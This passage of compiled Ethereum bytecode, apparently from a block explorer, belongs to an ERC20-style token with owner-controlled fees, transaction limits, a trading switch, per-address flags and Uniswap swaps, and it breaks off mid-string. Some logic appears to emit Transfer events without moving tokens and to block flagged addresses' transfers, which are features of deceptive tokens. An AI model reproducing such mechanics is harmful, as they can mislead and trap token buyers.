9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614af2602783613617565b9150614afd82614a96565b604082019050919050565b60006020820190508181036000830152614b2181614ae5565b9050919050565b6000614b338261372f565b9150614b3e8361372f565b925082821015614b5157614b50613e28565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614b92602083613617565b9150614b9d82614b5c565b602082019050919050565b60006020820190508181036000830152614bc181614b85565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614c24602683613617565b9150614c2f82614bc8565b604082019050919050565b60006020820190508181036000830152614c5381614c17565b9050919050565b600081905092915050565b50565b6000614c75600083614c5a565b9150614c8082614c65565b600082019050919050565b6000614c9682614c68565b9150819050919050565b600081519050614caf81613739565b92915050565b600060208284031215614ccb57614cca6136c7565b5b6000614cd984828501614ca0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614d2081613703565b92915050565b600060208284031215614d3c57614d3b6136c7565b5b6000614d4a84828501614d11565b91505092915050565b6000819050919050565b6000819050919050565b6000614d82614d7d614d7884614d53565b614d5d565b61372f565b9050919050565b614d9281614d67565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614dcd816136f1565b82525050565b6000614ddf8383614dc4565b60208301905092915050565b6000602082019050919050565b6000614e0382614d98565b614e0d8185614da3565b9350614e1883614db4565b8060005b83811015614e49578151614e308882614dd3565b9750614e3b83614deb565b925050600181019050614e1c565b5085935050505092915050565b600060a082019050614e6b60008301886137db565b614e786020830187614d89565b8181036040830152614e8a8186614df8565b9050614e996060830185613ae9565b614ea660808301846137db565b969550505050505056fea26469706673582212201619f0137d7e60f2b668bcc7b6a861aa9a0ac015e13431f644f6117497be803564736f6c634300080f0033000000000000000000000000fb7bb998f66d963b1637c0c711cfc81621b30321

Deployed Bytecode

0x6080604052600436106102605760003560e01c806395d89b4111610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b8063a061e0c311610108578063a061e0c3146106dd578063a457c2d71461071a578063a4c82a0014610757578063a9059cbb14610782578063ad296d9d146107bf578063bb85c6d1146107e857610267565b806395d89b411461060e57806399e5b5c8146106395780639a7a23d6146106625780639b6b54991461068b5780639fe64094146106b457610267565b806331f81511116101dd5780635580145f116101a15780635580145f1461051057806370a0823114610539578063715018a614610576578063730c18881461058d57806377b5312c146105b65780638da5cb5b146105e357610267565b806331f815111461042857806339509351146104565780634ada218b146104935780634b896a3e146104be57806352d65858146104e757610267565b806326ededb81161022457806326ededb814610367578063293230b8146103905780632c3e486c146103a75780632e82f1a0146103d2578063313ce567146103fd57610267565b806306fdde031461026c578063095ea7b31461029757806318160ddd146102d4578063199ffc72146102ff57806323b872dd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e91906136a5565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190613765565b610a78565b6040516102cb91906137c0565b60405180910390f35b3480156102e057600080fd5b506102e9610a96565b6040516102f691906137ea565b60405180910390f35b34801561030b57600080fd5b50610314610aa0565b60405161032191906137ea565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190613805565b610aa6565b60405161035e91906137c0565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906138bd565b610b9e565b005b34801561039c57600080fd5b506103a5610c7b565b005b3480156103b357600080fd5b506103bc610ce8565b6040516103c991906137ea565b60405180910390f35b3480156103de57600080fd5b506103e7610cee565b6040516103f491906137c0565b60405180910390f35b34801561040957600080fd5b50610412610d01565b60405161041f9190613939565b60405180910390f35b34801561043457600080fd5b5061043d610d0a565b60405161044d9493929190613954565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613765565b610d44565b60405161048a91906137c0565b60405180910390f35b34801561049f57600080fd5b506104a8610df0565b6040516104b591906137c0565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613999565b610e03565b005b3480156104f357600080fd5b5061050e600480360381019061050991906139c6565b610eb1565b005b34801561051c57600080fd5b5061053760048036038101906105329190613999565b610f68565b005b34801561054557600080fd5b50610560600480360381019061055b9190613a06565b611016565b60405161056d91906137ea565b60405180910390f35b34801561058257600080fd5b5061058b61105e565b005b34801561059957600080fd5b506105b460048036038101906105af9190613a5f565b611072565b005b3480156105c257600080fd5b506105cb61113e565b6040516105da93929190613ab2565b60405180910390f35b3480156105ef57600080fd5b506105f8611164565b6040516106059190613af8565b60405180910390f35b34801561061a57600080fd5b5061062361118e565b60405161063091906136a5565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b9190613a06565b611220565b005b34801561066e57600080fd5b5061068960048036038101906106849190613b13565b6112e8565b005b34801561069757600080fd5b506106b260048036038101906106ad9190613b13565b61138e565b005b3480156106c057600080fd5b506106db60048036038101906106d691906139c6565b61143f565b005b3480156106e957600080fd5b5061070460048036038101906106ff9190613a06565b6114f6565b60405161071191906137c0565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613765565b61154c565b60405161074e91906137c0565b60405180910390f35b34801561076357600080fd5b5061076c611637565b60405161077991906137ea565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613765565b61163d565b6040516107b691906137c0565b60405180910390f35b3480156107cb57600080fd5b506107e660048036038101906107e19190613b53565b61165b565b005b3480156107f457600080fd5b5061080f600480360381019061080a9190613a06565b611708565b005b34801561081d57600080fd5b5061083860048036038101906108339190613a06565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613bb3565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613c06565b6119a3565b6040516108ae91906137ea565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d99190613a06565b611a2a565b6040516108ed93929190613c46565b60405180910390f35b34801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613af8565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a9190613a06565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c7d565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cde565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b13565b611c9e565b005b6060600380546109f590613d36565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d36565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b6000600254905090565b600c5481565b6000610ab3848484611f20565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afe611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590613dd9565b60405180910390fd5b610b9285610b8a611d4f565b858403611d57565b60019150509392505050565b610ba6612b8c565b60005b83839050811015610c7557838382818110610bc757610bc6613df9565b5b9050602002016020810190610bdc9190613a06565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c5a91906137ea565b60405180910390a38080610c6d90613e57565b915050610ba9565b50505050565b610c83612b8c565b6001601260006101000a81548160ff0219169083151502179055506000600b60006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b600b60029054906101000a900460ff1681565b60006009905090565b600080600080600b60009054906101000a900460ff169350600b60019054906101000a900460ff169250600f549150601054905090919293565b6000610de6610d51611d4f565b848460016000610d5f611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de19190613e9f565b611d57565b6001905092915050565b601260009054906101000a900460ff1681565b610e0b612b8c565b6005811015610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4690613f67565b60405180910390fd5b6103e8610e5a610a96565b82610e659190613f87565b610e6f9190614010565b600f819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610ea691906137ea565b60405180910390a150565b610eb9612b8c565b8160158190555080601681905550601654601554610ed79190613e9f565b60148190555060646014541115610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a906140b3565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601454601554601654604051610f5c939291906140d3565b60405180910390a15050565b610f70612b8c565b6002811015610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90614156565b60405180910390fd5b6103e8610fbf610a96565b82610fca9190613f87565b610fd49190614010565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a60105460405161100b91906137ea565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066612b8c565b6110706000612c0a565b565b61107a612b8c565b6102588310156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906141e8565b60405180910390fd5b6103e882111580156110d2575060008210155b611111576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111089061427a565b60405180910390fd5b82600d8190555081600c8190555080600b60026101000a81548160ff021916908315150217905550505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461119d90613d36565b80601f01602080910402602001604051908101604052809291908181526020018280546111c990613d36565b80156112165780601f106111eb57610100808354040283529160200191611216565b820191906000526020600020905b8154815290600101906020018083116111f957829003601f168201915b5050505050905090565b611228612b8c565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112f0612b8c565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113779061430c565b60405180910390fd5b61138a8282612cd0565b5050565b611396612b8c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161143391906137c0565b60405180910390a25050565b611447612b8c565b81601881905550806019819055506019546018546114659190613e9f565b601781905550606460175411156114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a89061439e565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16017546018546019546040516114ea939291906140d3565b60405180910390a15050565b6000601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806001600061155b611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160f90614430565b60405180910390fd5b61162c611623611d4f565b85858403611d57565b600191505092915050565b600e5481565b600061165161164a611d4f565b8484611f20565b6001905092915050565b611663612b8c565b60005b838390508110156117025781601f600086868581811061168957611688613df9565b5b905060200201602081019061169e9190613a06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806116fa90613e57565b915050611666565b50505050565b611710612b8c565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8612b8c565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824612b8c565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f906144c2565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614554565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610a96565b6118db9190613f87565b6118e59190614010565b600981905550612710816118f7610a96565b6119019190613f87565b61190b9190614010565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613ab2565b60405180910390a1505050565b611959612b8c565b6000600b60006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b612b8c565b6000600b60016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3612b8c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145e6565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601454955060155494506016549350601754925060185491506019549050909192939495565b600080601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6612b8c565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137c0565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614678565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c9061470a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906137ea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f869061479c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff59061482e565b60405180910390fd5b600081036120175761201283836000612d71565b612b87565b600b60009054906101000a900460ff16156126dc57612034611164565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a25750612072611164565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120db5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612115575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212e5750600860149054906101000a900460ff16155b156126db57601260009054906101000a900460ff1661222857601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e85750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221e906148c0565b60405180910390fd5b5b600b60019054906101000a900460ff16156123f257612245611164565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cc57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123265750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123f15743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a390614978565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124955750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561253c576010548111156124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d690614a0a565b60405180910390fd5b600f546124eb83611016565b826124f69190613e9f565b1115612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614a76565b60405180910390fd5b6126da565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125df5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561262e57601054811115612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090614b08565b60405180910390fd5b6126d9565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126d857600f5461268b83611016565b826126969190613e9f565b11156126d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ce90614a76565b60405180910390fd5b5b5b5b5b5b60006126e730611016565b90506000600954821015905080801561270c5750600860159054906101000a900460ff165b80156127255750600860149054906101000a900460ff16155b801561277b5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127d15750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128275750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561286b576001600860146101000a81548160ff02191690831515021790555061284f612ff0565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129215750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561292b57600090505b60008115612b3e57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561298e57506000601754115b15612a28576129bb60646129ad601754886131ae90919063ffffffff16565b6131c490919063ffffffff16565b9050601754601954826129ce9190613f87565b6129d89190614010565b601b60008282546129e99190613e9f565b9250508190555060175460185482612a019190613f87565b612a0b9190614010565b601a6000828254612a1c9190613e9f565b92505081905550612b1a565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a8357506000601454115b15612b1957612ab06064612aa2601454886131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060145460165482612ac39190613f87565b612acd9190614010565b601b6000828254612ade9190613e9f565b9250508190555060145460155482612af69190613f87565b612b009190614010565b601a6000828254612b119190613e9f565b925050819055505b5b6000811115612b2f57612b2e873083612d71565b5b8085612b3b9190614b28565b94505b600860149054906101000a900460ff16158015612b675750600b60029054906101000a900460ff165b15612b7757612b75876131da565b505b612b82878787612d71565b505050505b505050565b612b94611d4f565b73ffffffffffffffffffffffffffffffffffffffff16612bb26132dd565b73ffffffffffffffffffffffffffffffffffffffff1614612c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bff90614ba8565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd79061479c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e469061482e565b60405180910390fd5b612e5a8383836132f1565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed790614c3a565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f739190613e9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612fd791906137ea565b60405180910390a3612fea8484846132f6565b50505050565b6000612ffb30611016565b905060008190506000808303613013575050506131ac565b600a5483111561302357600a5492505b60008390506000479050613036826132fb565b600061304b824761353890919063ffffffff16565b9050600061307686613068601b54856131ae90919063ffffffff16565b6131c490919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130ce90614c8b565b60006040518083038185875af1925050503d806000811461310b576040519150601f19603f3d011682016040523d82523d6000602084013e613110565b606091505b505080955050601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161315c90614c8b565b60006040518083038185875af1925050503d8060008114613199576040519150601f19603f3d011682016040523d82523d6000602084013e61319e565b606091505b505080955050505050505050505b565b600081836131bc9190613f87565b905092915050565b600081836131d29190614010565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016132169190613af8565b602060405180830381865afa158015613233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132579190614cb5565b90506000613270600c548361354e90919063ffffffff16565b9050601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132d257600081146132d157600080fd5b5b600192505050919050565b6000806132e8613564565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561331857613317614ce2565b5b6040519080825280602002602001820160405280156133465781602001602082028036833780820191505090505b509050308160008151811061335e5761335d613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613403573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134279190614d26565b8160018151811061343b5761343a613df9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506134a0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d57565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613502959493929190614e56565b600060405180830381600087803b15801561351c57600080fd5b505af1158015613530573d6000803e3d6000fd5b505050505050565b600081836135469190614b28565b905092915050565b6000818361355c9190613e9f565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146135e357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613607565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b83811115613655576000848401525b50505050565b6000601f19601f8301169050919050565b60006136778261360c565b6136818185613617565b9350613691818560208601613628565b61369a8161365b565b840191505092915050565b600060208201905081810360008301526136bf818461366c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136fc826136d1565b9050919050565b61370c816136f1565b811461371757600080fd5b50565b60008135905061372981613703565b92915050565b6000819050919050565b6137428161372f565b811461374d57600080fd5b50565b60008135905061375f81613739565b92915050565b6000806040838503121561377c5761377b6136c7565b5b600061378a8582860161371a565b925050602061379b85828601613750565b9150509250929050565b60008115159050919050565b6137ba816137a5565b82525050565b60006020820190506137d560008301846137b1565b92915050565b6137e48161372f565b82525050565b60006020820190506137ff60008301846137db565b92915050565b60008060006060848603121561381e5761381d6136c7565b5b600061382c8682870161371a565b935050602061383d8682870161371a565b925050604061384e86828701613750565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261387d5761387c613858565b5b8235905067ffffffffffffffff81111561389a5761389961385d565b5b6020830191508360208202830111156138b6576138b5613862565b5b9250929050565b6000806000604084860312156138d6576138d56136c7565b5b600084013567ffffffffffffffff8111156138f4576138f36136cc565b5b61390086828701613867565b9350935050602061391386828701613750565b9150509250925092565b600060ff82169050919050565b6139338161391d565b82525050565b600060208201905061394e600083018461392a565b92915050565b600060808201905061396960008301876137b1565b61397660208301866137b1565b61398360408301856137db565b61399060608301846137db565b95945050505050565b6000602082840312156139af576139ae6136c7565b5b60006139bd84828501613750565b91505092915050565b600080604083850312156139dd576139dc6136c7565b5b60006139eb85828601613750565b92505060206139fc85828601613750565b9150509250929050565b600060208284031215613a1c57613a1b6136c7565b5b6000613a2a8482850161371a565b91505092915050565b613a3c816137a5565b8114613a4757600080fd5b50565b600081359050613a5981613a33565b92915050565b600080600060608486031215613a7857613a776136c7565b5b6000613a8686828701613750565b9350506020613a9786828701613750565b9250506040613aa886828701613a4a565b9150509250925092565b6000606082019050613ac760008301866137b1565b613ad460208301856137db565b613ae160408301846137db565b949350505050565b613af2816136f1565b82525050565b6000602082019050613b0d6000830184613ae9565b92915050565b60008060408385031215613b2a57613b296136c7565b5b6000613b388582860161371a565b9250506020613b4985828601613a4a565b9150509250929050565b600080600060408486031215613b6c57613b6b6136c7565b5b600084013567ffffffffffffffff811115613b8a57613b896136cc565b5b613b9686828701613867565b93509350506020613ba986828